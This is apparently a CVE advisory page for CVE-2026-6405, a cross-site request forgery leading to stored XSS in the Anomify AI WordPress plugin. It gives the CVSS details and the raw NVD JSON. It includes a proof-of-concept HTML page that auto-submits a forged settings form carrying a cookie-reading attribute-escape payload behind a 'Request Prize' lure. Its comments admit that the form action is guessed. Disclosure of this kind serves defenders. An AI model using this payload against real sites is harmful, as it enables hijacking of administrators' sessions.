Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-6405 CVSS 4.3 MEDIUM

CVE-2026-6405

Published: 2026-05-20 08:16:23
Last Modified: 2026-05-20 13:54:55

Description

The Anomify AI – Anomaly Detection and Alerting plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) leading to Stored Cross-Site Scripting (XSS) in versions up to and including 0.3.6. This is due to missing nonce verification on the settings page handler and insufficient output escaping in the admin_options.php template. The settings form includes no wp_nonce_field() and the handler performs no check_admin_referer() check, meaning any cross-origin POST can modify plugin settings. The API key field is sanitized only with sanitize_text_field(), which strips HTML tags but does not encode double-quote characters; the value is then rendered into an HTML attribute via bare echo without esc_attr(), allowing a double-quote attribute-escape payload to survive both sanitization and storage. This makes it possible for unauthenticated attackers to inject arbitrary web scripts by tricking a logged-in administrator into visiting a malicious page that submits a forged request, storing the payload in the database and causing it to execute in the administrator's browser whenever the plugin settings page is visited.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Anomify AI <= 0.3.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-6405 This HTML page demonstrates the CSRF attack vector to inject Stored XSS. An attacker would host this file and trick a logged-in administrator into visiting it. --> <html> <body> <!-- The form targets the plugin's settings handler (URL may vary based on installation) --> <form action="http://target-wordpress-site/wp-admin/admin.php?page=anomify-settings" method="POST"> <!-- Assuming 'save_settings' or similar is the action based on common WP practices --> <input type="hidden" name="action" value="save" /> <!-- Payload breakdown: sanitize_text_field() strips tags but keeps quotes. The value is rendered like: value="[INPUT]" Input: " autofocus="alert(1) Result: value="" autofocus="alert(1)" --> <input type="hidden" name="api_key" value="&quot; autofocus=&quot;alert(document.cookie)&quot; &quot;" /> <input type="submit" value="Request Prize" /> </form> <script> // Automatically submit the form when the page loads document.forms[0].submit(); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6405", "sourceIdentifier": "[email protected]", "published": "2026-05-20T08:16:23.027", "lastModified": "2026-05-20T13:54:54.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Anomify AI – Anomaly Detection and Alerting plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) leading to Stored Cross-Site Scripting (XSS) in versions up to and including 0.3.6. This is due to missing nonce verification on the settings page handler and insufficient output escaping in the admin_options.php template. The settings form includes no wp_nonce_field() and the handler performs no check_admin_referer() check, meaning any cross-origin POST can modify plugin settings. The API key field is sanitized only with sanitize_text_field(), which strips HTML tags but does not encode double-quote characters; the value is then rendered into an HTML attribute via bare echo without esc_attr(), allowing a double-quote attribute-escape payload to survive both sanitization and storage. This makes it possible for unauthenticated attackers to inject arbitrary web scripts by tricking a logged-in administrator into visiting a malicious page that submits a forged request, storing the payload in the database and causing it to execute in the administrator's browser whenever the plugin settings page is visited."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/anomify/tags/0.3.6/Anomify/Config.php#L152", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/anomify/tags/0.3.6/Anomify/Wp/Admin.php#L31", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/anomify/tags/0.3.6/Anomify/Wp/includes/admin_options.php#L43", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/anomify/trunk/Anomify/Config.php#L152", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/anomify/trunk/Anomify/Wp/Admin.php#L31", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/anomify/trunk/Anomify/Wp/includes/admin_options.php#L43", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a1e02c2d-a38a-495c-9c37-098049297be2?source=cve", "source": "[email protected]"}]}}